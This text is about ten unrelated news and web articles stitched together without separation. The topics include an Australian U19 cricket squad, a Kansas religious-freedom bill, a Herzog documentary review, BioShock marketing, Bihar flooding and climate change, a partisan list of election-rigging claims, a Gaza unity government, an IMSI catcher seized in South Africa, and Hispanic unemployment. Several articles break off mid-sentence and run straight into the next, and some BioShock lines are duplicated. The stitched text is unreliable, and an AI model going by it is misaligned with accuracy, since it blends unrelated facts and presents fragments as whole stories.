Austin Waugh notches unbeaten century
The series will involve one three-day match as well as five one-day matches and run between April 8 and April 23, with all games to be live streamed on cricket.com.au.
"Being selected to represent your country is an enormous honour, and this series presents an exciting opportunity and challenge for these highly-talented young cricketers," said National Talent Manager and National Selector Greg Chappell.
"Some of the top performers from this summer’s Under 19 National Championships have been rewarded with selection, while this series is also important as we look ahead to next year’s ICC Under 19 World Cup.
Austin Waugh serves up an ace maximum
"We expect that this team will be extremely competitive against Sri Lanka, in both the three-day match and five one-day matches."
Emerging New South Wales quick Iain Carlisle has been added to the U19s squad, replacing Queensland allrounder Harrison Wood, who has been ruled out with an ankle injury.
The 17-year-old Carlisle is a product of the Campbelltown-Camden Cricket Club and represented the Cricket Australia XI at this season’s under-19 National Championships.
The squad has been picked with one eye on the 2018 ICC Under 19 Cricket World Cup in New Zealand.
Fourteen members of the 15-player squad will be eligible for selection for the World Cup, with wicketkeeper Lewin Maladay the exception.
AUSTRALIA U19s SQUADTOPEKA, Kan. — Kansas legislators will face renewed pressure next year to provide additional legal protections to those who want to avoid accommodating same-sex couples for religious reasons in the wake of federal courts nationwide invalidating state gay marriage bans.
A “religious freedom” measure failed in the Legislature earlier this year, even though conservative Republicans control both chambers and top GOP leaders strongly support the state constitution’s ban on gay marriage.
The debate pitted business groups against conservative religious leaders, a divide that aided gay rights advocates who argued that the legislation was more sweeping and discriminatory than advertised.
Same-sex marriage opponents argue that Kansas should shield their religious liberties before the state’s ban falls. The prospect is possible after the 10th U.S. Circuit Court of Appeals, which also has jurisdiction over Kansas, struck down Utah’s ban last month.
The Rev. Terry Fox, a prominent Southern Baptist minister in Wichita and a leader in getting voters to approve Kansas’ gay marriage ban in 2005, said he and other pastors are determined to get legislators to take up the issue after reconvening in January.
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The Kansas Catholic Conference also views additional legal protections as vital.
“We are not going to let it die. We are very committed,” Fox said. “The Body of Christ is a powerful movement when it comes together.”
Gay rights advocates also anticipate a legislative debate next year. Tom Witt, executive director of Equality Kansas, the state’s leading gay rights group, said that even without the 10th Circuit’s decision, at least a handful of social conservatives would want pass a law that treats gay, lesbian, bisexual and transgendered Kansas residents as “second-class citizens.”
“I don’t think they’re going to stop their attacks,” Witt said.
This Story Filed UnderWerner Herzog can be pretty difficult to pin down these days. The venerated German auteur has been making narrative and documentary films for nearly 50 years, with his distinctly morbid outlook on life a consistent theme throughout. After a resurgence in his popularity surrounding his critically acclaimed 2005 documentary Grizzly Man, his public persona has shifted in the eyes of some to almost border on self parody, his lilting accent and obsession with death and strife becoming the target of homage and good-natured ribbing by comedian Paul F. Tompkins and 2015 Sundance darling Me and Earl and the Dying Girl. And if his cameo appearance in Parks and Recreation’s final season is any indication, he certainly appears to be in on the joke. This evolution of his persona has had some interesting side effects as Herzog continues to make films, especially his particular brand of documentary. Usually written and narrated by the man himself, his flowery and macabre language can often come off as more of a joke than it actually is. The two documentaries he has graced the world with in 2016, his soberly titled internet piece Lo and Behold: Reveries of the Connected World and the brand new Netflix release Into the Inferno, point to that sort of internal conflict that can arise from modern Herzog documentaries.
Near the end of Into the Inferno, Herzog makes the following proclamation against a hypnotic background of roiling lava in the caldera of a volcano: “It is hard to take your eyes off the fire that burns deep under our feet, everywhere under the crust of the continents and sea beds. It is a fire that wants to burst forth, and it could not care less about what we are doing up here. This boiling mass is just monumentally indifferent to scurrying roaches, retarded reptiles and vapid humans alike.” It’s the sort of proclamation so self-serious that awareness of how ridiculous it must sound has to be assumed, but it also points to why Herzog is drawn to this subject. For a man so captivated by the transience of life and the amoral cruelty of an uncaring nature, characterizing the globe itself as a ticking time bomb content to literally destroy the surface of the planet on a tectonic whim is just the sort of fatalism that he needs to frame his story. It isn’t the first time he’s explored volcanoes either; the seed of the idea that grew to become Into the Inferno was planted while making Encounters at the End of the World, with vulcanologist Clive Oppenheimer appearing in both projects. Oppenheimer seeks to use science to minimize the destructive power of volcanoes, especially those located in humanity’s vicinity. Herzog is far more interested in examining the religious and spiritual impact of these cultures that surround the most volatile natural phenomena on Earth.
Herzog and Oppenheimer focus on four specific locations: Indonesia, Iceland, Ethiopia and North Korea. They talk to a man who is caretaker of one of the few Christian churches in his area of Indonesia, shaped like a giant dove (though Herzog finds it far more chicken-like in appearance), discuss the origins of human life in Ethiopia and tour an ash-engulfed village in Iceland as Herzog gets to the bottom of what psychologically drives people to build that doomed town in the shadow of a volcano in the first place. Their insights often sound akin to those alien to those of us who don’t actively place settlements in the path of an established natural disaster, but there is a vitality to their simple lives and the inspiration they get from being so close to the raw primordial power and unbridled awe of active volcanoes. The footage provided backs up that sense of awe, whether it’s the eerie feel of seemingly solid rock shifting and folding over like liquid or the Icelandic ash cloud that wreaked havoc on transcontinental flights for months in 2010, curling into the sky as lightning arcs within it. These images can often feel unconnected to the narrative Herzog is mounting, but their beauty is undeniable.
There is a fourth location, of course, and the twenty or so minutes that take place in North Korea are arguably the most intriguing of Into the Inferno. Herzog was given clearance to film inside the infamously secretive country, and while he does spend some time in the mountains with Oppenheimer and draws parallels through art of the Kim dictatorship that includes volcano iconography, he relishes the opportunity to capture a glimpse of the everyday experience of the North Korean people. It isn’t the first time that an outsider has taken footage from within Kim Jong-un’s regime, but it remains fascinating to see the fervor of the citizenry, to see a country where technology and information is heavily restricted. In many ways, the North Korea section of the film sticks out like a sore thumb, with the volcanoes shifting to the back burner for a more general look at life in the country. Footage of train stations, celebrations and a school play are powerful in their own right, but the connection to the rest of |
is often used in plants, like corn and soybeans, that are engineered to be more drought-tolerant, resistant to herbicides or produce proteins that are toxic to insects, among other traits. The Grocery Manufacturers Association has said that 75 to 80 percent of conventional processed foods in the U.S. contain genetically-engineered ingredients.
Regarding the safety of GMO foods, the World Health Organization says:If you've never experienced the series before, now is the time to play it and see for yourself why the award-winning BioShock franchise has topped countless "Best-Of" lists and garnered more than 125 awards including two BAFTA honors, as well as many Best of E3, Best of Gamescom, and Game of the Year accolades from respected outlets such as IGN, GameSpot, Game Informer, and many more. The weapons, plasmids, levels, and character models that shocked you years ago have been reskinned and retextured to look better than ever. On top of that, all single-player DLC created for all three games comes loaded in one package. The bundled content for BioShock: The Collection includes:
Features:
BioShock
The video series, "Director's Commentary: Imagining BioShock," featuring Ken Levine, creative director on BioShock and BioShock Infinite and Shawn Robertson, animation lead on BioShock and animation director on BioShock Infinite.
Imagining BioShock," featuring Ken Levine, creative director on BioShock and BioShock Infinite and Shawn Robertson, animation lead on BioShock and animation director on BioShock Infinite. Museum of Orphaned Concepts: Walk through a Rapture-inspired virtual museum that gives you a behind-the-scenes look at discarded concepts that never made it into the original game.
Walk through a Rapture-inspired virtual museum that gives you a behind-the-scenes look at discarded concepts that never made it into the original game. Challenge Rooms: Outside the story of BioShock, tackle puzzles, splicers and Big Daddies. And achievements, of course.
Outside the story of BioShock, tackle puzzles, splicers and Big Daddies. And achievements, of course. BioShock 2 (**Multiplayer will not be included)
Minerva's Den: A self-contained BioShock story, presenting a side of Rapture you've never seen before. Use expanded combat abilities with the experimental Ion Laser and chaotic Gravity Well Plasmid, unique to Minerva's Den, as you face off against the Lancer Big Daddy.
A self-contained BioShock story, presenting a side of Rapture you've never seen before. Use expanded combat abilities with the experimental Ion Laser and chaotic Gravity Well Plasmid, unique to Minerva's Den, as you face off against the Lancer Big Daddy. Protector Trials: Take control of an Alpha Series Big Daddy woken out of hibernation just before the events of BioShock 2.
Take control of an Alpha Series Big Daddy woken out of hibernation just before the events of BioShock 2. BioShock InfiniteLegend has it that during the 90 days of monsoon in Bihar, one of the largest and most densely populated states in India, an overflowing river wouldn’t dare touch the pole outside a rural house, where cattle would be tied. There were names for different levels of the water: water until the doorstep is termed baarh, water reaching the lower edge of the window is boh, cattle safely floating in the water is humma, water until the roof is saah, and water beyond the roof is pralay – best translated as “deluge.”
The water would stand still just for two-and-a-half days, and this would happen several times during the 90-day monsoon period. It was beneficial to the crops, especially paddy: around the last week of September or first week of October, the paddy would be transplanted. The excess moisture would enable the cultivation of rabi (winter) crops, thus allowing for successful multi-cropping. During the monsoon itself, there would be fish and edible water flowers. A field was thus never barren or empty.
Until about 25 years ago, the rural and agrarian residents of Bihar welcomed this inundation of river water. The older generation would experience saah only about once in their lifetime. However, in the last two decades saah and pralay have been unwelcome annual guests, with rain water standing still throughout the 90 days and not just in different bursts of two-and-a-half days.
This year, floods in Bihar killed 370 people and rendered more than 12 million homeless. And this unpredictable pattern of heavy rains, stagnant water, and flooding during non-monsoon months has been constant evidence of climate change in India. Equally rearing its ugly head is drought: nearly 25 percent of districts across India experienced heavy rainfall in just a matter of hours, even as 40 percent of districts faced drought this year.
In the north, Chandigarh – the city planned by Le Corbusier – had a rainfall deficit till August, and then received 115 mm of rain in 12 hours, submerging it. Tech city Bengaluru faced a similar drowning fate, receiving 30 percent of its annual rain in a single day. The tourist destination in the arid western state of Rajasthan received half of its annual rain in two days. In the northeast, Agartala received more than 11 times its average daily monsoon rain of the last five years. Similarly, the financial capital of Mumbai on the western coast received 300 mm of rain – 15 percent of its annual rain – across a few hours. In all, the country had 16 extremely heavy rain events (rainfall over 244 mm in a day) and 100 heavy rain events (rainfall between 124 to 244 mm in a day).
In each of these instances, life came to a standstill, and for long periods. However, the rain is recorded as normal, ignoring that the total amount of rain was not spread through the monsoon months of June to September.
A recent report by the Asian Development Bank (ADB) and the Potsdam Institute for Climate Impact Research (PIK) confirmed what millions of Indians – and many more in South Asian countries – have been experiencing: the region has the highest exposure to floods. A whopping 130 million people in coastal zones of Bangladesh, India, and Pakistan are at risk of being displaced by the end of the century.
At the same time, the researchers observed that the “average global flood losses in 2005 were approximately $6 billion per year and will increase to $52 billion by 2050.” Of the top 20 cities incurring these losses, 13 are in Asia, of which four are in India: Mumbai, Kolkata, Chennai, and Surat. Another study published in the scientific journal Global Change Biology reported that only six of 22 river basins in India have the potential to cope with climate change.
In June 2013, nearly 5,700 were presumed dead after a series of cloud bursts caused severe floods and devastating landslides in the north Indian state of Uttarakhand, home to several Hindu and Sikh pilgrimage sites. The heavy rainfall was 375 percent more than the average rain received, causing the Chorabari Glacier at 3,800 meters to melt, and eruption of the Mandakini river. The high number of casualties is attributed to the warnings by the meteorological department not being taken seriously. This is a common feature across India: local administrations claim that warnings are not geographically specific and hence evacuation is not always possible.
Environmentalists knew that something like this, which was touted as India’s worst natural disaster since the 2004 tsunami, was imminent: the region had witnessed the haphazard construction of hotels and roads, while about 70 hydroelectric projects had been constructed on the rivers. Tunnels were built through this fragile Himalayan region, adding to regular occurrence of landslides.
Shashi Shekhar, former secretary at the Water Ministry, has a record of being vocal with unpopular truths about the state of the rivers in India, and the climate at large. According to him, cloudbursts were unheard of before the 2013 disaster, while a consumption-driven development plan has been pursued without understanding the Himalayas. Because the mountain range is still nascent in geological terms, the porosity of rocks allows rainwater to seep in and flow into streams, maintaining the hydrostatic pressure inside the rocks.
“When tunnels are constructed, water gushes out through the rocks and that leads to an increase in land subsidence,” explains Shekhar, adding that the increased deforestation in the hills is another factor that led loose rubble from the glacial retreat to cause damaging landslides.
“With such an ecological background, the response should have been towards conservation. There are tall claims of power generation through the hydroelectric projects, but the large amount of silt coming down the slopes results in reservoirs being filled, resulting in lower velocity of water for power generation,” Shekhar explains, thus questioning the Indian’s governments similar plans on several rivers across the country.
News reports in India are flooded with flooding reports from Bihar and Assam through the monsoon months. Similar situations as in Uttarakhand have played out in these low lying regions: raised roads, embankments on rivers, and immense deforestation that have led to heavy siltation.
Similarly, in southern India, the Cauvery Delta region – the granary of Tamil Nadu – is turning into vast stretches of waste land. An analysis of droughts and floods spanning four decades has shown the impact on crop cover in the region, even though sea water ingress has given rise to shrimp farming – which is detrimental to agriculture.
Shekhar is disappointed that the National Green Tribunal, which was established to effectively address issues pertaining to the environment at large and enforce legal rights, continues to “play for the gallery by not passing cohesive orders.” He claims that even though the NGT comprises experts, the dominance of political bigwigs that overlook the environment while giving the green signal to infrastructure projects renders such systems ineffective.
Dinesh Mishra, an engineer-turned-activist who has been mobilizing people since the 1980s toward understanding flooding patterns and adaptation, says that the sediments from rivers have given rise to new patches of arable land, which should not be used. “Every solution towards flood mitigation has only given rise to a newer set of problems,” he says, adding that the sole intent of flood control leaves no room for understanding river patterns.
Too often, embankments on rivers have been the chosen road toward containing floods, even as they block the river’s flow. Almost all of Bihar floods, Mishra says, have taken place when erected embankments were forcefully torn apart through raging waters. Recently, the government of Assam announced a 1,300 km (800 mile) long road-cum-embankment along the mighty Brahmaputra River in Assam, at as estimated cost of $620 million. The river annually causes floods, and almost every embankment has suffered breaches.
On the other hand, cities like Mumbai have invited wrath upon themselves by not maintaining and upgrading the drainage systems to meet the requirements of a country whose population is heading to the cities. With nearly 50 percent of the country’s population set to be urban by 2040, cities are looking at grim situations every year.
On July 26, 2005, Mumbai received 944 mm of rain in a few hours, killing 445 people and rendering losses of $41 million; one third of that was damage to infrastructure. The city’s airport, which lies on reclaimed land, where the Mithi river was bent twice at right angles to permit runways, was inundated for three days. Further south of Mumbai, sea levels have risen by five to six cm in the last two decades, causing sea water ingress up to one kilometer, eroding beaches and harming mangroves as well as coconut and cashew plantations.
Apart from the obvious cost of flooding and the loss of lives, agriculture is set to be deeply impacted by climate change in India: the rise of temperature by 1-2 degrees has already shown disastrous impact on crops. Traditionally, agriculture in India has been dependent on monsoons and the surface water is available up to January, following which the groundwater is used. But with the water tables depleting, water cannot be budgeted for agriculture effectively.
Those with better access to water are cultivating paddy, sugarcane, and other cash crops, which consume more water. Lower levels of groundwater have led to concentrated geogenic levels, leading to diseases. “We have to encourage the cultivation of low water-intensity crops like millets, which would mean changing our consumption patterns based on what is grown and not what we want. The market cycles are killing the farmers with debt,” says Shekhar, calling for a sustainable lifestyle.
In 2010, the Ministry of Environment and Forests (MoEF) examined climate change implications for India in 2030, and noted its severe impact on Indian agriculture, with rising sea levels and temperatures, increased flooding and severe drought. The “Climate Change and India: A 4X4 Assessment” report indicated that temperature rise would lead to increased yield of irrigated rice and coconut, while the opposite for maize, sorghum, and apple production. The warming would also benefit marine fisheries, while stresses on livestock would impact milk production.
The Maharashtra State Council on Climate Change was formed in September 2008, and it is only in October this year that the state announced an adaptation and mitigation strategy. It directs district officials to prepare strong action and disaster management plans, and every department has been issued specific instructions. Another policy aims at tapping into the indigenous knowledge of 60 coastal villages, to protect the state’s 15,088 hectares of mangroves along its 720-km long coastline.
But are these steps enough? When Mumbai was crippled by floods in 2005, the city got back to its feet, championing the “Mumbai Spirit.” This year in August, when the city once again suffered heavy rains and tremendous flooding that killed 14 people, the city questioned that same resilience, which, citizens rightly expressed, was something that allowed the administration to be lackadaisical in addressing glaring issues. In various parts of Assam, disappeared roads have given rise to a new form of boat economy, which is increasingly operational for more months than previous years. The indigenous Mishing community in Assam, which has always led a symbiotic relationship with the river by constructing stilt houses, is now grappling with sand washed ashore and filling their basements.
Once an engineer, Mishra debunks the myth of the expert opinion: “We need to listen to the rivers and those who knew how to welcome and live with floods. We need to stop the attitude of conquering nature; it is already conquering us when we don’t listen well.”
Priyanka Borpujari is an India-based journalist. She writes for The Diplomat‘s Pulse section.Everyone has taken to dismissing Donald Trump's claims that the election is rigged. Here are eight times liberals claimed an election had been or would be stolen.
Over the past couple of weeks, Donald Trump has ramped up complaints that the election process is rigged in favor of Hillary Clinton. Many have been quick to dismiss his claims and have been acting like he’s crazy for saying as much.
On Tuesday, President Obama lashed out at the GOP nominee during a press conference at the White House, saying that Trump’s gripes are historically unprecedented and that he should stop “whining.”
“I have never seen in my lifetime or in modern political history any presidential candidate trying to discredit the election process before votes have even taken place,” he said.
Obama’s memory must be pretty short, so I’ve compiled this list to remind him — and everyone else — of eight times liberals claimed an election was or would be stolen.
1. Labor Union Leader Roseann Demoro
The national vice president of the AFL-CIO wrote an article for Salon in which she explained how the Democratic Party primary was “rigged from the start.”
She explained the debate times, media bias, and vote rigging were what kept Bernie Sanders from clinching the Democratic nomination for president. Demoro also claimed Senate Minority Leader Harry Reid met with casino owners where many caucuses were being held, in order to tamper with the election process.
“The Nevada caucuses were then rigged with massive voting irregularities such as casino owners orchestrating which workers would be allowed to vote and, in clear intimidation, openly monitoring how they voted,” she wrote.
2. NYU Professor Mark Crispin Miller
This New York University professor has taught several courses and authored several books claiming that George W. Bush’s presidential victories in 2000 and again in 2004 were the result of large-scale fraud.
After John Kerry lost the 2004 presidential election, Miller told Democracy Now! that the Democratic nominee said the election was stolen from him.
“[Kerry] told me he now thinks the election was stolen,” Miller said. “He says he doesn’t believe he is the person that can be out in front because of the sour grapes question. But he said he believes it was stolen.”
His book “Loser Take All: Election Fraud and The Subversion of Democracy, 2000 – 2008” explains how Republicans were going to try to steal the 2008 election away from Obama. Here’s a synopsis of the book:
Among the subjects treated here are: myth of George Bush’s victory in Florida in 2000, and FOX News’s key role in propagating it; Senator Max Cleland’s dubious defeat in Georgia in 2002; Bush’s ‘re-election’ in 2004, including evidence of systematic fraud outside of Ohio; startling evidence of fraud committed in the 2006 midterm elections, which the Democrats appear to have won by a far larger margin than officially reported; and, crucially, evidence that the Republicans will attempt to steal the presidential election in 2008.
In a PBS interview from 2008, Miller explained that voting machines can’t be trusted because the companies that make them have close ties to Republican candidates.
“The use of this kind of voting apparatus is extremely worrisome and something that we should be watching very carefully,” he said.
Amusingly, the title of his 2005 book: “Fooled Again: How the Right Stole the 2004 Election & Why They’ll Steal the Next One Too (Unless We Stop Them)” appears to have been changed to simply “Fooled Again: The Real Case For Election Reform.” The apparent change seems to imply that his fears of the elections being stolen in favor of the GOP were invalidated by Obama’s 2008 victory.
3. Vox’s Ezra Klein
In 2014, Klein wrote a piece explaining that the election process is skewed in favor of incumbent candidates. Once in office, candidates often get to have a say in where the electoral lines are drawn — which means they can gerrymander their way into staying in office.
“A new Rasmussen poll finds that 68 percent of Americans think elections are rigged in favor of incumbents,” he wrote. “And they’re basically right... Few congressional elections are seriously competitive. Reelection rates for incumbents tend to hover around 90 percent.”
4. Vox’s Dara Lind
Lind wrote a piece today entitled “A short history of white people rigging elections,” in which she explains how white people intimidated black people by acting violently towards them at the polls.
“Let’s be clear: Rigged elections have happened in American history,” she writes. “But the people who’ve most often rigged elections aren’t liberal elites acting in cahoots with nonwhite shock troops — they’re white supremacists trying to maintain white power in the face of a diverse electorate.”
She’s not wrong — poll taxes, “literacy tests,” and other methods were often employed to disenfranchise black people, but her assertion that it never happens in other circumstances is... interesting.
What’s ironic is the publication has taken strides to dismiss Trump’s claims that the election process is rigged, publishing a piece today entitled “I’m a Republican lawyer, here’s why the election can’t be rigged.”
Logan Dobbs put it best here:
Today on VOX: The Election Can't Be Rigged! ┳┻|
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┻┳| •.•) except by white people
┳┻|⊂ﾉ
┻┳| pic.twitter.com/Ga6yfFZw67 — Logan Dobson (@LoganDobson) October 19, 2016
5. Politico‘s Ben Wofford
In August, Wofford wrote a piece explaining how the election could be hacked in seven minutes. The piece focuses on a professor who bought an $82 voting machine and hacked with it so he could manipulate results.
“In American politics, an onlooker might observe that hacking an election has been less of a threat than a tradition,” he writes, citing Huey Long’s infamous rigging in 1932, and the 1948 “Lyndon Landslide” during which Lyndon B. Johnson “mysteriously overcame a 20,000 vote deficit in his first Senate race.”
6. Talking Points Memo’s Josh Marshall
In 2006, Marshall accused the Ohio secretary of State of helping to steal the 2004 election in favor of Bush. Now, he says Trump’s claims of election-rigging are “disgusting.”
Trump's wholesale effort to discredit the US election process is truly unprecedented and frankly disgusting, an assault on who we are. — Josh Marshall (@joshtpm) October 18, 2016
7. Salon’s Farhad Manjoo
“Was the New Hampshire vote stolen?” Manjoo asked of the 2008 New Hampshire primary Clinton unexpectedly won.
In recent years several factors — 1) crazily hackable voting machines, 2) generally heightened partisanship, 3) very close races, and 4) a real, honest-to-goodness purloined race (see Bush v. Gore) — have raised the paranoid in all of us. Wondering if any election outcome is honest has become a standard post-election emotion; not wondering, now that’s just crazy.
Manjoo concluded his piece by saying that even if we fixed our voting machines, it still wouldn’t make elections fair.
8. Sen. Elizabeth Warren
Today, Warren chided Trump on Twitter:
It's not rigged, @realDonaldTrump. You're losing fair & square. Put on your big-boy pants because this is what accountability looks like. — Elizabeth Warren (@elizabethforma) October 19, 2016
In 2013, however, Warren went on the Senate floor to chastise Republicans for making “naked attempts to nullify the results of the last presidential election. To force us to govern as though President Obama hadn’t won the 2012 election.” At the time, she conveniently seems to have forgotten that Republicans in Congress had also won an electoral mandate through their own re-elections. Unless she was implying Republican lawmakers’ re-elections were fraudulent despite being conducted by the same process as Obama’s re-election.
As John Gibbs wrote, voter fraud is very much a real thing. According to a 2012 Pew Charitable Trust report, roughly 18 million voter registrations are either “significantly inaccurate” or invalid — enough to tip an election. Yet somehow when Donald Trump echoes the concerns about election integrity many Americans have had for years, it’s totally insane. I guess election-rigging only matters when Democrats lose.GAZA (Reuters) - Palestinian technocrat prime minister Rami Hamdallah arrived in the Hamas-dominated Gaza Strip on Thursday and convened the first meeting of a unity government there since a brief civil war in 2007 between Hamas and forces loyal to the Fatah party.
Palestinian Prime Minister Rami Hamdallah talks to media after the first unity government meeting in the West Bank city of Ramallah June 3, 2014. REUTERS/Mohamad Torokman
Dozens of Fatah security personnel loyal to President Mahmoud Abbas and policemen from the Hamas-led interior ministry in the enclave were out in force to protect Hamdallah, who did a walk-past inspection of a police guard of honour.
“I come to you representing President Mahmoud Abbas and, as head of the government of national consensus, to assume our responsibilities, see your needs and launch a comprehensive workshop to salvage Gaza and bring relief to our people here,” he said.
He also visited a neighbourhood destroyed in a 50-day war with Israel in July and August, and his presence in Gaza may encourage donor countries to pledge funds to rebuild Gaza, which he has estimated will cost $4 billion over the next three years.
“I have wept in Beit Hanoun when I saw how people are living and where they are sleeping... I hope the donor conference will be a success and that money donated will be enough so we can immediately begin the rebuilding,” Hamdallah said.
Palestinian parties agreed last month that the unity government would assume immediate authority over Gaza before an international aid conference set for Oct. 12 in Egypt’s capital, Cairo. The two sides agreed to form a joint cabinet in May.
Donors have for years been wary of giving aid as long as Hamas, blacklisted as a terrorist group by many Western countries, rules the blockaded coastal strip after it siezed the territory from Western-backed Fatah in the 2007 war.
Hamas sees itself as the lawful representative of the Palestinian people after winning parliamentary polls the year before its fighters grabbed control of Gaza, and says its armed resistance against Israel is legitimate.
U.S.-backed peace talks between Israel and the Fatah-led Palestinian Authority in the occupied West Bank to achieve a state there and in Gaza with East Jerusalem as its capital collapsed in April.
STICKING POINTS
Hamdallah last week appeared to have resolved a core sticking point between the two sides when he announced that Qatar would pay a large part of the wages owed to Hamas-hired employees in Gaza with United Nations help.
The precise mechanism of payment remained unclear however.
Hamdallah’s visit to Gaza may restore some hope among ordinary Palestinians, demoralised by conflict, eight years of political paralysis and dwindling hopes of a Palestinian nation.
“We have put years of division behind us and we have begun to consolidate reconciliation as a core step to lobby the international community and its influential powers to bear their responsibility towards rebuilding Gaza, which requires lifting the unjust (Israeli) blockade,” Hamdallah said.
Hamdallah said it was a top priority to re-unify government institutions following years of division in which residents of Gaza and the West Bank had to deal with two separate governing entities.
Palestinian officials said this week that Israel may begin next week to lift curbs on the entrance of goods into Gaza after years of an economic blockade.
“For the first time I feel unity is possible, I hope what am seeing right now is real and that it will last and not be a dream,” said 26-year-old taxi driver Hani Ahmed, as he watched live television footage of Hamdallah’s arrival in Gaza at an electronics store in Gaza City.Israeli-Made Stingray Device Found In The Hands Of South African Businessmen
from the snooping-for-the-masses! dept
IMSI catchers: not just for law enforcement agencies anymore! (via Slashdot) The cellphone signal-slurping devices are normally found in the hands of cops and investigators and carefully hidden from public examination by a fine mesh of redactions, withheld documents, non-disclosure agreements and dismissed cases. But two South African men walked into a sting operation, leaving behind an intriguing bit of interception equipment.
At 10am on Friday, [two people] were lured to Irene Mall outside Pretoria in a police and intelligence sting that resulted in their arrest for illegally being in possession of the cellphone-tapping, -tracking and -locator machine worth over R25 million.
The machine, specially installed in a German-made multi-purpose vehicle, was impounded.
The Star knows the identity of the two arrested men - a top businessman in the gold industry and a bank employee - but can only identify them once they have appeared in court.
The Hawks [special investigative unit] said senior government officials are believed to have helped the suspects purchase the device – which is highly regulated in South Africa and globally.
According to the report, an official from the Department of Public Works is alleged to have written a fraudulent letter “on a government letterhead” claiming that the government wanted to buy the device.
Police sources told The Star that evidence showed The Grabber, which could bug at least 10,000 lines at a time, had been used to advance certain parties in commercial transactions.
The device recovered during this appears to be some sort of Stingray-esque device, albeit not one manufactured by Harris Corporation. Instead, "The Grabber" (as it's known) is manufactured in Israel. "The Grabber" is likely not its official name, as the web is largely free of other references to an IMSI catcher with this name. Israel's Rayzone Group offers a selection of interception devices, but so far, only one (the Pirahna) has any documentation that has surfaced publicly.Like any powerful interception device, its sales areto be limited to government agencies. From what's being reported here, the South African government was, but not in the typical way.Putting everything together from multiple reports, it appears the device was used (or intended to be used) to intercept communications of government officials overseeing certain lucrative bidding processes: small scale industrial/economic espionage by private persons acting on behalf of both themselves and a few government officials.If the claims made by unnamed police officials are to be believed, the "Grabber" is possibly more powerful than Harris' Stingrays.MyBroadband brings these claims a bit more down to earth with a longer examination of the device's purported capabilities. It appears to be, more or less, a Stingray. It imitates a cell tower and boosts its signal to route as many phone calls through it as possible. It can "grab" phones and track their location. According to the unnamed "security professional" interviewed by MyBroadband, it's unlikely the device can actually intercept calls, which makes the police sources' claims of "bugging 10,000 lines" particularly suspect.In the abstract, a Stingray-device can gather any number of "lines," but actual interception (i.e., "bugging") of calls and text messages tends to be on a smaller scale. Whether or not this device can actually intercept communications (as the Stingray has been reported to do), it's likely true that it does have some interception capabilities, considering that in this context (snooping on government contract bidding, hints of blackmail) call records and phone location would be of minimal use.Documentation on devices sold by Israel's Rayzone Group do hint at some powerful interception capabilities. Its "Pirahna" offers "remote control" of targeted devices, and additional software provides even more access via a targeted phone's WiFi connection.However, there's not enough information available to ascertainwhat device the South African police have recovered. But the technology has been around for years and a number of companies worldwide are steadily improving capabilities.Finding one of these in the hands of private citizens is a bit surprising, but certainly can't be completely unexpected. Stingray-type technology was never going to remain under strict government control. The tech itself can be duplicated and utilized by criminals -- either by fraudulently obtaining a device from a manufacturer or by putting one together themselves. China's Amazon (AliBaba) has listings for IMSI catchers and Bruce Schneier points to researchers at 2010's Def Con displaying a home-built IMSI catcher that ran about $1,500 for parts. So, the capabilities the police feel they enjoy exclusively are undoubtedly in the hands of civilians.What is remarkable is the circuitous nature of the criminal activity, which involved government insiders providing the paperwork needed for the acquisition, which was then deployed against other government officials to the mutual benefit of both.
Filed Under: imsi catcher, law enforcement, private use, south africa, stingray, surveillance
Companies: rayzone groupMaria Stenzel / National Geographic / Getty Roofers unload tiles on the roof of a new housing development near Las Vegas.
In the newly minted general election, there's one topic both candidates will both try to avoid: immigration reform. Specifically, how to salve popular anger at illegal immigrants without damaging an economy that has become reliant on their labor. With too many deportations, crops will rot in the field. But with too few, Minutemen with desert-colored Ghillie suits and night-vision goggles start patrolling the border.
Politicians, however, may now have a tantalizing option for the dilemma of whether to deport or not to deport: do nothing at all. The U.S. economic downturn may already be encouraging undocumented workers to leave the country or not come over in the first place. A Pew Hispanic Center report released on Wednesday morning indicates for the first time that the sinking economy has caught up with the Hispanic workforce with a vengeance. The main culprit, says report author Rakesh Kochhar, is job loss in the Latino-heavy construction sector.
First, the numbers: the Hispanic jobless rate immigrant and native-born alike climbed to 6.5% in the first quarter of '08 (non-Hispanics are at 4.7%). Compare that to late 2006, when Hispanic unemployment rates got closer than ever before to non-Hispanic rates, at 4.9% to 4.4%. Latinos have lost a lot of ground, particularly the immigrants among them. Their immigrant unemployment rate is 7.5% now; for those who have arrived since 2000, it's 9.3%.
The report doesn't distinguish between illegal and legal immigrants, but it's known that illegal workers are overrepresented in construction, the industry that has taken the the biggest lumps. Over 220,000 Hispanic immigrants lost construction jobs in the last year. Some of those workers found jobs in the service sector or in health care, but overall, it's a grim picture. "We've been hearing about construction hitting the skids for some time," says Kochhar. "But it wasn't really until the second quarter of 2007 that the workforce was affected. It was delayed for them, but now it's coming hard and fast."
So are undocumented workers headed home? Perhaps though it's not that simple. In a naturally free labor market, high unemployment would prod many immigrants to just pack themselves up and go back home. This is called "self-deportation," the Holy Grail of everyone from hardhearted nativists to compassionate immigration reformers. It avoids the unseemly mess of raids and detention centers. It's more humane, it's cheaper, it's more effective.
But self-deportation is complicated by the increasingly sealed U.S.-Mexico border. Fewer people are coming into the U.S., says Douglas Massey, Professor of Sociology and Public Affairs at Princeton University. But fewer people are voluntarily leaving. They worry that they'll never be able to sneak back in if they leave now. And it's so expensive and risky to cross these days that those who have already made it over feel extra pressure to stay and make good on their gamble to come to the States, even if that means waiting out a recession. "A lot of [undocumented workers] settled down here after we militarized the border," says Massey.
Still, there has been undeniable attrition in the illegal population. Remittances sent to Mexico were nearly flat from 2006 to 2007, a stagnation that Mexico�s central bank blamed on slackening immigration. The U.S. Border Patrol reports that from January 1 to May 15 of this year, apprehensions of illegal immigrants were down 15% from the same period in 2007. The question is what's driving this apparent decline: a stagnant economy or heightened immigration crackdowns?
For Mark Krikorian, executive director of the Center for Immigration Studies, the answer is clear. "What we've seen over the past year or so," he says, "is that immigration services have been given a green light by the White House to actually do its job." A bad economy may grease an exodus, he says, but it wouldn't even start without the threat of enforcement.
Indeed, the largest immigration raid on a single site in modern history took place on May 12 at a meatpacking plant in Postville, Iowa. And, as Krikorian points out, there are more identity-theft prosecutions, more use of employee verification systems around the country. But Tomás Jiménez, a fellow at the New America Foundation, says that the vast majority of municipalities around the country haven't enacted any anti-immigration laws or seen any raids. So it's unlikely that most workers are leaving out of fear. "This happens a lot," he says. "DHS and border patrol taking credit for things that are actually driven by other forces."
